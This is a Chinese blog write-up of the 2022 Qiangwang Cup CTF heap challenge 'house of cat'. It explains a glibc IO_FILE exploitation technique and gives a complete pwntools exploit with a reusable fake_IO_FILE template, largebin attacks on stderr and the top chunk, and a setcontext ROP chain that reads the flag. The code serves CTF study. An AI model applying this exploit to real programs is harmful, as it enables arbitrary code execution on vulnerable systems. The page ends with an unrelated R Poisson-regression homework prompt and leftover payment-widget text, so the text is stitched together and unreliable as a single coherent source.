house of cat

61 篇文章 1 订阅
18 篇文章 1 订阅

2022强网杯 house of cat

跟着大佬的文章学习了一个新的利用手法 house of cat,原文链接:House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解

利用条件:

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),
  执行IO相关函数。

攻击流程:

1.修改_IO_list_all为可控地址(FSOP)或修改stderr为可控地址(__malloc_assert)。
2.在上一步的可控地址中伪造fake_IO结构体
  (也可以在任意地址写的情况下修改stderr、stdout等结构体)。
3.通过FSOP或malloc触发攻击。

house of cat的IO_FILE利用链:

在_IO_wfile_jumps结构体:

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wfile_seekoff函数:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;
 
  if (mode == 0)
    return do_ftell_wide (fp);
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));
 
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}

fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}

_IO_WOVERFLOW是glibc里定义的一个宏调用函数,我们看一下汇编代码

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

在这里插入图片描述
该函数作用:

1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。
4.call调用[rax2+0x18]处的内容。

在这里插入图片描述
在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)

利用方式:
开启沙箱:

1.将rdi改为fake_IO_FILE的地址
2.把最后调用的[rax + 0x18]设置为setcontext
3.将rdx设置为可控的堆地址
4.srop来读取flag

未开启沙箱:

1.把最后调用的[rax + 0x18]设置为system函数
2.把fake_IO_FILE的头部写入/bin/sh字符串
3.执行system("/bin/sh")

fake_IO_FILE需要绕过的检查:

_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)

house of cat的模板

伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi

fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

例题分析

在这里插入图片描述
保护全开
在这里插入图片描述
开启沙箱,禁用execve,检查了read的fd指针,注意如果构造orw的话需要将close(0),之后把flag文件流设为0,即可绕过检查。
ida分析伪代码

ssize_t __fastcall sub_1DF3(__int64 a1)
{
  ssize_t result; // rax
  unsigned int choose; // eax
  char *v3; // [rsp+18h] [rbp-8h]

  if ( *(a1 + 8) == 1 && !strcmp(*(a1 + 16), "admin") )
    dword_4040[0] = 1;
  result = *(a1 + 8);
  if ( result == 3 )
  {
    result = strtok(*(a1 + 16), "$");
    v3 = result;
    if ( result )
    {
      result = dword_4014;
      if ( *v3 == dword_4014 )
      {
        result = dword_4040[0];
        if ( dword_4040[0] )
        {
          menu();
          choose = my_read();
          if ( choose == 4 )
          {
            return edit();
          }
          else
          {
            if ( choose <= 4 )
            {
              switch ( choose )
              {
                case 3u:
                  return show();
                case 1u:
                  return add();
                case 2u:
                  return delete();
              }
            }
            return my_printf("error!\n");
          }
        }
      }
    }
  }
  return result;
}

在这里插入图片描述

找到执行菜单的函数,我们可以看到程序对我们的输入进行了加密,我们要严格按照一定格式才能进入堆菜单,需要满足 (a1 + 8) == 1 && !strcmp((a1 + 16), “admin”),才能使 dword_4040[0] = 1;并且需要满足*(a1 + 8) ==3,result=strtok(*(a1 + 16), " " ) ; 不为 0 ,我们还需要使 v 3 后即( ");不为0, 我们还需要使v3后即( ");不为0,我们还需要使v3后即(后的)数字为-1,因为0x4014处是0xffffffff,而v3是char型数据,所以把v3写为0xff即可在比较时进行强制类型转换,都为-1,绕过检查
在这里插入图片描述在这里插入图片描述

查看该函数的上一个函数sub_1A50()函数,

在这里插入图片描述

__int64 __fastcall sub_1A50(char *a1, __int64 a2)
{
  char *s; // [rsp+18h] [rbp-28h]
  char *v4; // [rsp+20h] [rbp-20h]
  char *v5; // [rsp+20h] [rbp-20h]
  char *v6; // [rsp+20h] [rbp-20h]
  const char *s2; // [rsp+28h] [rbp-18h]
  char *v8; // [rsp+30h] [rbp-10h]
  const char *s1; // [rsp+38h] [rbp-8h]

  v4 = strstr(a1, "QWB");
  if ( !v4 )
    return 0LL;
  *v4 = 0;
  v4[1] = 0;
  v4[2] = 32;
  v5 = v4 + 3;
  s2 = strtok(a1, " ");
  if ( !strcmp("LOGIN", s2) )
  {
    *(a2 + 8) = 1;
  }
  else if ( *(a2 + 8) || strcmp("DOG", s2) )
  {
    if ( *(a2 + 8) || strcmp("CAT", s2) )
    {
      if ( *(a2 + 8) || strcmp("MONKEY", s2) )
      {
        if ( *(a2 + 8) || strcmp("FISH", s2) )
        {
          if ( *(a2 + 8) || strcmp("PIG", s2) )
          {
            if ( *(a2 + 8) || strcmp("WOLF", s2) )
            {
              if ( *(a2 + 8) || strcmp("DUCK", s2) )
              {
                if ( *(a2 + 8) || strcmp("GOLF", s2) )
                {
                  if ( *(a2 + 8) || strcmp("TIGER", s2) )
                    return 0LL;
                  *(a2 + 8) = 10;
                }
                else
                {
                  *(a2 + 8) = 9;
                }
              }
              else
              {
                *(a2 + 8) = 8;
              }
            }
            else
            {
              *(a2 + 8) = 7;
            }
          }
          else
          {
            *(a2 + 8) = 6;
          }
        }
        else
        {
          *(a2 + 8) = 5;
        }
      }
      else
      {
        *(a2 + 8) = 4;
      }
    }
    else
    {
      *(a2 + 8) = 3;
    }
  }
  else
  {
    *(a2 + 8) = 2;
  }
  v8 = strtok(0LL, " ");
  if ( v8 != strchr(v8, 124) )
    return 0LL;
  *a2 = v8;
  s1 = strtok(0LL, " ");
  if ( strcmp(s1, "r00t") )
    return 0LL;
  s = v5 + 5;
  v6 = strstr(v5, "QWXF");
  if ( !v6 )
    return 0LL;
  *v6 = 0;
  v6[1] = 0;
  v6[2] = 0;
  v6[3] = 32;
  *(a2 + 16) = s;
  return 1LL;
}

由此可知需要有字符串’CAT’,使 (a2 + 8) = 3;这里的a2就是sub_1DF3()函数里的s,相当于(s+8)=3,
在这里插入图片描述
这里的a2就是sub_1DF3()函数里的s,相当于*(s+8)=1,所以我们要先有LOGIN
在这里插入图片描述
0x7C代表字符 |
在这里插入图片描述
在这里插入图片描述

我们还要有 ‘|’, 'QWB’和’QWXF’不然程序会返回0,无法执行sub_1DF3()函数

整理一下,多次尝试,我们需要先输入

LOGIN | r00t QWB QWXFadmin

来登录进程序
接着输入

CAT | r00t QWB QWXF$\xff

来进入堆菜单,且每次执行完一次堆操作后都需要重新执行

CAT | r00t QWB QWXF$\xff

因此我们写堆菜单的操作:

# coding=utf-8
from pwn import *
p=process('./house_of_cat')
libc=ELF('./libc.so.6')
context.log_level='debug'
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims		    :p.recvuntil(delims)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(p)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sa('plz input your content:\n',cont)
def free(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

之后分析一下有什么漏洞
在这里插入图片描述

add函数只能申请size 0x417 – 0x46F的chunk
在这里插入图片描述

delete函数存在uaf
在这里插入图片描述
在这里插入图片描述
edit函数只能执行两次
在这里插入图片描述
show函数只能输出0x30字节

利用思路

1.泄露libc地址和堆地址
2.large bin attack stderr
3.large bin attack topchunk's size
4.伪造fake_IO
5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode。
6.setcontext执行rop链。

过程分析

首先申请大于0x400的chunk并free后进入unsorted bin 再申请大于bin中chunk的chunk,将其进入largebin,利用uaf泄露libc和heap基地址

add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')

dbg()

在这里插入图片描述

free(0) #chunk_0进入unsorted bin

dbg()

在这里插入图片描述

add(3,0x440,'ddd') #chunk_3>chunk_0,chunk_0进入largebin
show(0) 
ru('Context:\n')
libcbase=u64(r(6).ljust(8,b'\x00'))-0x21a0d0
r(10)
heapaddr=u64(r(6).ljust(8,'\x00'))-0x290
lg('libcbase',libcbase)
lg('heapaddr',heapaddr)

dbg()

在这里插入图片描述
在这里插入图片描述

之后计算获得我们所需要的构造fake_io和orw的gadget段地址

rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f497
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+libc.search(asm('syscall\nret')).next()

之后利用模板构造fake_io

#fake IO
ioaddr=heapaddr+0xb00
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0 )  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heapaddr+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2
flagaddr=heapaddr+0x17d0
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)

这里payload1非常巧妙,flagaddr是我们之后申请一个chunk内容为flag的chunk地址,用来作为orw读取flag的参数,heapaddr+0x2050(0x55C59590A050)是我们之后申请的填有ROP链的地址,

free(2)
add(6,0x418,payload1)
free(6)
#gdb.attach(p,'b* (_IO_wfile_seekoff)')
dbg()

在这里插入图片描述
利用largebin attack修改stderr为unsortedbin中chunk的地址0x55C595908b00

#large bin attack stderr poiniter
edit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))

dbg()

在这里插入图片描述

add(5,0x440,'aaaaa')

dbg()

在这里插入图片描述

add(7,0x430,'flag')

dbg()

在这里插入图片描述
这里注意由于对fd的检查,需要close(0)使flag文件的文件描述符为0读入。

add(8,0x430,'eee')
#rop
payload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)
add(9,0x430,payload)

dbg()

在这里插入图片描述
chunk_9位于0x55C59590A040,mem为0x55C59590A050,存放rop链

在这里插入图片描述

free(5)

dbg()

在这里插入图片描述

add(10,0x450,p64(0)+p64(1))

dbg()

在这里插入图片描述

free(8)

dbg()

在这里插入图片描述
这里heapaddr+0x28e0为topchunk的地址,largebin attack修改的是chunk的bk_size指针,所以减0x20,再减3是因为我们要同时修改topchunk的pre_size和size。

# large bin attack topchunk's size
edit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))

dbg()

在这里插入图片描述

#trigger __malloc_assert
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
gdb.attach(p,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
#dbg()
p.interactive()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们看到程序运行到_IO_wfile_seekoff+104调用_IO_switch_to_wget_mode时,rdi,rdx被我们修改成了指定的chunk地址,而因为我们修改了topchunk,所以程序会产生报错,执行__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode进而跳转到setcontext执行rop链

GOAL Perform a Poisson regression to predict the number of people in a househouse based on the age of the head of the household. DATA The Philippine Statistics Authority (PSA) spearheads the Family Income and Expenditure Survey (FIES) nationwide. The survey, which is undertaken every three years, is aimed at providing data on family income and expenditure, including levels of consumption by item of expenditure. The data, from the 2015 FIES, is a subset of 1500 of the 40,000 observations (Philippine Statistics Authority 2015). The data set focuses on five regions: Central Luzon, Metro Manila, Ilocos, Davao, and Visayas. The data is in the file fHH1.csv. Each row is a household, and the follow variables are recorded: • location: where the house is located (Central Luzon, Davao Region, Ilocos Region, Metro Manila, or Visayas) • age: the age of the head of household • total: the number of people in the household other than the head • numLT5: the number in the household under 5 years of age • roof: the type of roof in the household (either Predominantly Light/Salvaged Material, or Predominantly Strong Material. STEPS 1. Read in the dataset. 2. Produce a bar-chart of total 3. Produce a scatter-plot of total against age - add a smoothing line. 4. Fit the Poisson regression total ∼ age 5. Interpret the coefficient of age. 6. Obtain the Pearson residuals. Plot these against age. Is the model adequate? 7. Fit the Poisson regression total ∼ age + age2 8. Repeat the residual plots for the new model. 9. Compare the models using a likelihood ratio test, and AIC. 10. Calculate the predicted values for model M2. What is the age of the head of the household associated with the largest fitted value 使用R语言
05-26
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值